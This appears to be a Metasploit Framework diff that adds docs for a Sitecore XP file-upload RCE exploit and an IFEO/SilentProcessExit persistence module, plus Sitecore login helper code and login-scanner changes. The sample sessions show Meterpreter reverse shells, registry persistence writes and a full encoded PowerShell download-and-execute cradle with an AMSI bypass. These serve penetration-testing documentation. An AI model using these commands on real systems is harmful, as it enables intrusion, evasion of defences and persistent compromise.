## Vulnerable Application
|
||||
|
||||
The Sitecore Experience Platform (XP) is a flagship CMS product.
|
||||
Provides comprehensive digital marketing tools, view of customer data and many other features.
|
||||
A user can install multiple extensions to Sitecore XP - among them is Sitecore PowerShell Extension (SPA).
|
||||
It is obligatory requirement for popular SXA add-on.
|
||||
The SPA is vulnerable to an unrestricted file upload up to version 7.0.
|
||||
An attacker can upload malicious ASPX file and gain remote code execution.
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform).
|
||||
Please note that a license is required for successful installation.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34511`
|
||||
1. Do: `set RHOSTS [Sitecore XP IP address]`
|
||||
1. Do: `set VHOST [Sitecore XP hostname]`
|
||||
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
|
||||
1. Do: `set LHOST [attacker IP]`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
### VHOST
|
||||
|
||||
The hostname of Sitecore XP.
|
||||
When installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
|
||||
|
||||
|
||||
### IDENTITY_VHOST
|
||||
|
||||
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
|
||||
If you are not sure about `IDENTITY_VHOST`, you can visit `https://[sitecore instance]/identity/login/shell/SitecoreIdentityServer`.
|
||||
The hostname of page where the URL will redirect you can be used as `IDENTITY_VHOST`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
```
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set RHOSTS 10.5.132.138
|
||||
RHOSTS => 10.5.132.138
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set VHOST sitecorepocsc.dev.local
|
||||
VHOST => sitecorepocsc.dev.local
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
|
||||
IDENTITY_VHOST => sitecorepocidentityserver.dev.local
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > run verbose=true
|
||||
[*] Started reverse TCP handler on 192.168.3.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
|
||||
[*] Sending stage (203846 bytes) to 10.5.132.138
|
||||
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.138:50194) at 2025-08-26 12:58:22 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN11_22H2_0800
|
||||
OS : Windows 11 22H2 (10.0 Build 22621).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: IIS APPPOOL\sitecorepocsc.dev.local
|
||||
```
|
||||
@@ -1,93 +0,0 @@
|
||||
## Description
|
||||
|
||||
This module leverages Windows debugging tools to cause a payload to launch
|
||||
every time a specified binary exits.
|
||||
|
||||
The payload will execute at the same priv level as the launched binary.
|
||||
|
||||
## Vulnerable Target
|
||||
|
||||
Windows 7+ as elevated user
|
||||
|
||||
## Verification Steps
|
||||
```
|
||||
[*] Meterpreter session 8 opened (192.168.135.168:5555 -> 192.168.132.125:49675) at 2019-09-30 16:24:30 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-D1E425Q
|
||||
OS : Windows 10 (10.0 Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 8...
|
||||
msf exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options
|
||||
msf exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe
|
||||
image_file => notepad.exe
|
||||
msf exploit(windows/local/persistence_image_exec_options) > set session 8
|
||||
session => 8
|
||||
msf exploit(windows/local/persistence_image_exec_options) > run
|
||||
|
||||
[*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8
|
||||
[*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
|
||||
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
|
||||
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
|
||||
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
|
||||
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
|
||||
msf exploit(windows/local/persistence_image_exec_options) > show options
|
||||
|
||||
Module options (exploit/windows/local/persistence_image_exec_options):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
IMAGE_FILE notepad.exe yes Binary to "debug"
|
||||
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
|
||||
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
|
||||
SESSION 8 yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
|
||||
LPORT 4545 yes The listen port
|
||||
|
||||
**DisablePayloadHandler: True (no handler will be created!)**
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf exploit(windows/local/persistence_image_exec_options) >
|
||||
|
||||
```
|
||||
In another window, start a listener and then launch notepad.exe on the target.
|
||||
Close notepad.exe and you should get a callback:
|
||||
|
||||
```
|
||||
msf exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.135.168:4545
|
||||
[*] Sending stage (206403 bytes) to 192.168.132.125
|
||||
[*] Meterpreter session 3 opened (192.168.135.168:4545 -> 192.168.132.125:49679) at 2019-09-30 16:25:49 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-D1E425Q
|
||||
OS : Windows 10 (10.0 Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,143 @@
|
||||
## Description
|
||||
|
||||
This module leverages Windows debugging tools to cause a payload to launch
|
||||
every time a specified binary exits.
|
||||
|
||||
The payload will execute at the same priv level as the launched binary.
|
||||
|
||||
## Vulnerable Target
|
||||
|
||||
Windows 7+ as elevated user
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a shell/meterpreter on a windows box
|
||||
3. Do: `use exploit/windows/persistence/image_exec_options `
|
||||
4. Do: `set session #`
|
||||
5. Do: `run`
|
||||
6. You should get persistence once the targeted application is open and closed.
|
||||
|
||||
## Options
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of the payload file. Defaults to `<random>.exe`
|
||||
|
||||
### IMAGE_FILE
|
||||
|
||||
The executable to bind to. Example: `calc.exe`, `notepad.exe`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10
|
||||
|
||||
Original Shell
|
||||
|
||||
```
|
||||
└─$ ./msfconsole -q
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp is not a compatible payload.
|
||||
[*] Exploit completed, but no session was created.
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 2
|
||||
target => 2
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
|
||||
srvport => 8085
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath w2
|
||||
uripath => w2
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4449
|
||||
lport => 4449
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4449
|
||||
[*] Using URL: http://1.1.1.1:8085/w2
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABkAG4AbAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABkAG4AbAAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGQAbgBsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBhAGYAbwBvAFkATwByAGMAYgA5AHEAYgBwAE8ATQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering AMSI Bypass (1386 bytes)
|
||||
[*] 2.2.2.2 web_delivery - Powershell command length: 3727
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (3727 bytes)
|
||||
[*] Sending stage (203846 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:52295) at 2025-09-23 17:10:43 -0400
|
||||
|
||||
msf exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10PROLICENSE
|
||||
OS : Windows 10 22H2+ (10.0 Build 19045).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/image_exec_options
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(windows/persistence/image_exec_options) > set session 1
|
||||
session => 1
|
||||
msf exploit(windows/persistence/image_exec_options) > set IMAGE_FILE calc.exe
|
||||
IMAGE_FILE => calc.exe
|
||||
msf exploit(windows/persistence/image_exec_options) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/persistence/image_exec_options) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Exploit running as background job 4.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(windows/persistence/image_exec_options) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Likely exploitable
|
||||
[*] Attempting Persistence on WIN10PROLICENSE via session ID: 1
|
||||
[*] Payload pathname = C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
|
||||
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe
|
||||
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
|
||||
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
|
||||
[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
|
||||
```
|
||||
|
||||
Open `calc.exe` on the target machine
|
||||
|
||||
```
|
||||
[*] Sending stage (177734 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:52327) at 2025-09-23 17:18:33 -0400
|
||||
|
||||
msf exploit(windows/persistence/image_exec_options) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
|
||||
meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
|
||||
[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc for ERB directives.
|
||||
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> rm C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
|
||||
[-] stdapi_fs_delete_file: Operation failed: The system cannot find the file specified.
|
||||
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /f" -H
|
||||
Process 7092 created.
|
||||
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /f" -H
|
||||
Process 7568 created.
|
||||
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /f" -H
|
||||
Process 2604 created.
|
||||
meterpreter >
|
||||
```
|
||||
@@ -313,7 +313,7 @@ module Metasploit::Framework
|
||||
end
|
||||
|
||||
each_user_pass_from_userpass_file do |user, pass|
|
||||
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
|
||||
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm, private_type: private_type(pass))
|
||||
end
|
||||
|
||||
additional_privates.each do |add_private|
|
||||
@@ -374,7 +374,7 @@ module Metasploit::Framework
|
||||
end
|
||||
|
||||
each_user_pass_from_userpass_file do |user, pass|
|
||||
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
|
||||
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm, private_type: private_type(pass))
|
||||
end
|
||||
|
||||
additional_publics.each do |add_public|
|
||||
|
||||
@@ -78,7 +78,30 @@ module Metasploit
|
||||
case error_code
|
||||
when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED, Rex::Proto::Kerberos::Model::Error::ErrorCodes::KRB_AP_ERR_SKEW
|
||||
# Correct password, but either password needs resetting or clock is skewed
|
||||
Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
begin
|
||||
pa_data_entry = krb_err.res.e_data_as_pa_data.find do |pa_data|
|
||||
pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_PW_SALT
|
||||
end
|
||||
|
||||
if pa_data_entry
|
||||
pw_salt = pa_data_entry.decoded_value
|
||||
if pw_salt.nt_status
|
||||
case pw_salt.nt_status.value
|
||||
when ::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED
|
||||
# Windows Server 2019 Build 17763 (possibly others) replies with STATUS_PASSWORD_EXPIRED even when the password is incorrect
|
||||
Metasploit::Model::Login::Status::INCORRECT
|
||||
else
|
||||
Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
else
|
||||
Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
else
|
||||
Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosDecodingError
|
||||
Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN
|
||||
# The username doesn't exist
|
||||
Metasploit::Model::Login::Status::INVALID_PUBLIC_PART
|
||||
|
||||
@@ -11,6 +11,25 @@ module Metasploit
|
||||
class Postgres
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
|
||||
# @!attribute ssl
|
||||
# @return [Boolean] Whether the connection should use SSL
|
||||
attr_accessor :ssl
|
||||
# @!attribute ssl_version
|
||||
# @return [String] The version of SSL to implement
|
||||
attr_accessor :ssl_version
|
||||
# @!attribute ssl_verify_mode
|
||||
# @return [String] the SSL certification verification mechanism
|
||||
attr_accessor :ssl_verify_mode
|
||||
# @!attribute ssl_cipher
|
||||
# @return [String] The SSL cipher to use for the context
|
||||
attr_accessor :ssl_cipher
|
||||
# @!attribute max_send_size
|
||||
# @return [Integer] The max size of the data to encapsulate in a single packet
|
||||
attr_accessor :max_send_size
|
||||
# @!attribute send_delay
|
||||
# @return [Integer] The delay between sending packets
|
||||
attr_accessor :send_delay
|
||||
|
||||
# @returns [Boolean] If a login is successful and this attribute is true - a Msf::Db::PostgresPR::Connection instance is used as proof,
|
||||
# and the socket is not immediately closed
|
||||
attr_accessor :use_client_as_proof
|
||||
@@ -45,7 +64,20 @@ module Metasploit
|
||||
pg_conn = nil
|
||||
|
||||
begin
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri,proxies)
|
||||
ssl_opts = {}
|
||||
ssl_opts[:ssl_version] = ssl_version if ssl_version
|
||||
ssl_opts[:ssl_verify_mode] = ssl_verify_mode if ssl_verify_mode
|
||||
ssl_opts[:ssl_cipher] = ssl_cipher if ssl_cipher
|
||||
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(
|
||||
db_name,
|
||||
credential.public,
|
||||
credential.private,
|
||||
uri,
|
||||
proxies,
|
||||
ssl,
|
||||
ssl_opts
|
||||
)
|
||||
rescue ::RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
@@ -90,13 +122,15 @@ module Metasploit
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
end
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.87"
|
||||
VERSION = "6.4.91"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -184,7 +184,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
|
||||
# BEGIN: This should be removed on MSF 7
|
||||
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP (by default unhook is first, see meterpreter_options/windows.rb)
|
||||
extensions.push('unhook') if datastore['AutoUnhookProcess'] && session.platform == 'windows'
|
||||
# The unhook extension is broken. reference: https://github.com/rapid7/metasploit-framework/pull/20514
|
||||
|
||||
#extensions.push('unhook') if datastore['AutoUnhookProcess'] && session.platform == 'windows'
|
||||
extensions.push('stdapi') if datastore['AutoLoadStdapi']
|
||||
extensions.push('priv') if datastore['AutoLoadStdapi'] && session.platform == 'windows'
|
||||
extensions.push('android') if session.platform == 'android'
|
||||
@@ -197,7 +199,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
extensions.each do |extension|
|
||||
begin
|
||||
console.run_single("load #{extension}")
|
||||
console.run_single('unhook_pe') if extension == 'unhook'
|
||||
# console.run_single('unhook_pe') if extension == 'unhook'
|
||||
session.load_session_info if extension == 'stdapi' && datastore['AutoSystemInfo']
|
||||
rescue => e
|
||||
print_warning("Failed loading extension #{extension}")
|
||||
|
||||
@@ -16,12 +16,8 @@ module Msf
|
||||
[
|
||||
OptString.new(
|
||||
'AutoLoadExtensions',
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'unhook,priv,stdapi']
|
||||
),
|
||||
OptBool.new(
|
||||
'AutoUnhookProcess',
|
||||
[true, "Automatically load the unhook extension and unhook the process", false]
|
||||
),
|
||||
[true, "Automatically load extensions on bootstrap, comma separated.", 'priv,stdapi']
|
||||
)
|
||||
],
|
||||
self.class
|
||||
)
|
||||
|
||||
@@ -59,6 +59,7 @@ module Auxiliary::AuthBrute
|
||||
# @return [Metasploit::Framework::CredentialCollection] the built CredentialCollection
|
||||
def build_credential_collection(opts)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new({
|
||||
anonymous_login: datastore['ANONYMOUS_LOGIN'],
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
|
||||
@@ -144,7 +144,8 @@ module Msf::DBManager::Note
|
||||
|
||||
ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required")
|
||||
|
||||
unless opts[:data].is_a?(Hash)
|
||||
has_valid_note_datatype = opts[:data].is_a?(Hash) || opts[:data].nil?
|
||||
unless has_valid_note_datatype
|
||||
stack_trace = caller.map { |line| "[-] #{line}" }.join("\n")
|
||||
message = "\n[-] [DEPRECATION] Using #{__method__} with a non-hash data value is deprecated, please raise a Github issue with this output.\n[-] Call stack:\n#{stack_trace}"
|
||||
warn(message)
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
module Msf::Exploit::Remote::HTTP::Sitecore::Error
|
||||
class ClientError < ::StandardError
|
||||
def initialize(message: nil)
|
||||
super(message || 'SitecoreXP Error')
|
||||
end
|
||||
end
|
||||
|
||||
class UnexpectedReplySitecore < ClientError
|
||||
def initialzie(message = 'Received unexpected reply from Sitecore')
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,124 @@
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
module SitecoreXp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Sitecore::Error
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options([OptString.new('IDENTITY_VHOST', [true, 'Hostname of Sitecore identity server']) ])
|
||||
end
|
||||
|
||||
#
|
||||
# Identifies against identity server. The Sitecore XP uses separate vhost to authenticate and gain session cookies.
|
||||
#
|
||||
def login_identitysrv(username, password)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'Account', 'Login'),
|
||||
'method' => 'GET',
|
||||
'vhost' => datastore['IDENTITY_VHOST'],
|
||||
'keep_cookies' => 'true'
|
||||
})
|
||||
|
||||
raise UnexpectedReplySitecore unless res&.code == 200
|
||||
|
||||
hidden_inputs = res.get_hidden_inputs
|
||||
|
||||
verification_token = hidden_inputs.dig(0, '__RequestVerificationToken')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'Account', 'Login'),
|
||||
'vhost' => datastore['IDENTITY_VHOST'],
|
||||
'vars_post' => {
|
||||
'Username' => username,
|
||||
'Password' => password,
|
||||
'__RequestVerificationToken' => verification_token,
|
||||
'ReturnUrl' => '',
|
||||
'AccountPrefix' => 'sitecore\\',
|
||||
'button' => 'login',
|
||||
'RememberLogin' => 'false'
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
res&.code == 302 && !res.get_cookies.blank?
|
||||
end
|
||||
|
||||
def get_identity_cookies
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('identity', 'externallogin'),
|
||||
'vars_get' => {
|
||||
'authenticationType' => 'SitecoreIdentityServer',
|
||||
'ReturnUrl' => '',
|
||||
'sc_site' => 'admin'
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return false unless res&.code == 302
|
||||
|
||||
location_target = res.headers.fetch('Location', nil)
|
||||
|
||||
return false unless location_target
|
||||
|
||||
location_target =~ %r{://([a-zA-Z0-9._]+)/}
|
||||
identity_vhost = Regexp.last_match(1)
|
||||
proto = datastore['ssl'] ? 'https' : 'http'
|
||||
identity_uri = location_target.sub("#{proto}://#{identity_vhost}", '')
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => identity_uri,
|
||||
'vhost' => identity_vhost,
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
hidden_inputs = res.get_hidden_inputs
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('identity', 'signin'),
|
||||
'vars_post' => hidden_inputs[0],
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return false unless res&.code == 302
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('identity', 'externallogincallback'),
|
||||
'vars_get' => {
|
||||
'ReturnUrl' => '',
|
||||
'sc_site' => 'admin',
|
||||
'authenticationSource' => 'Default'
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
res&.code == 302 && res.headers.fetch('Location', nil)&.include?('sitecore/admin')
|
||||
end
|
||||
|
||||
def get_version
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('sitecore', 'shell', 'sitecore.version.xml'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
return nil unless res&.code == 200 && res.body.include?('<version>')
|
||||
|
||||
xml_document = res.get_xml_document
|
||||
|
||||
major_version = xml_document.at('information//version//major').text
|
||||
minor_version = xml_document.at('information//version//minor').text
|
||||
build_version = xml_document.at('information//version//build').text
|
||||
|
||||
return Rex::Version.new("#{major_version}.#{minor_version}.#{build_version}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -12,7 +12,9 @@ module Exploit::Remote::Postgres
|
||||
|
||||
require 'postgres_msf'
|
||||
require 'base64'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
include Msf::Db::PostgresPR
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
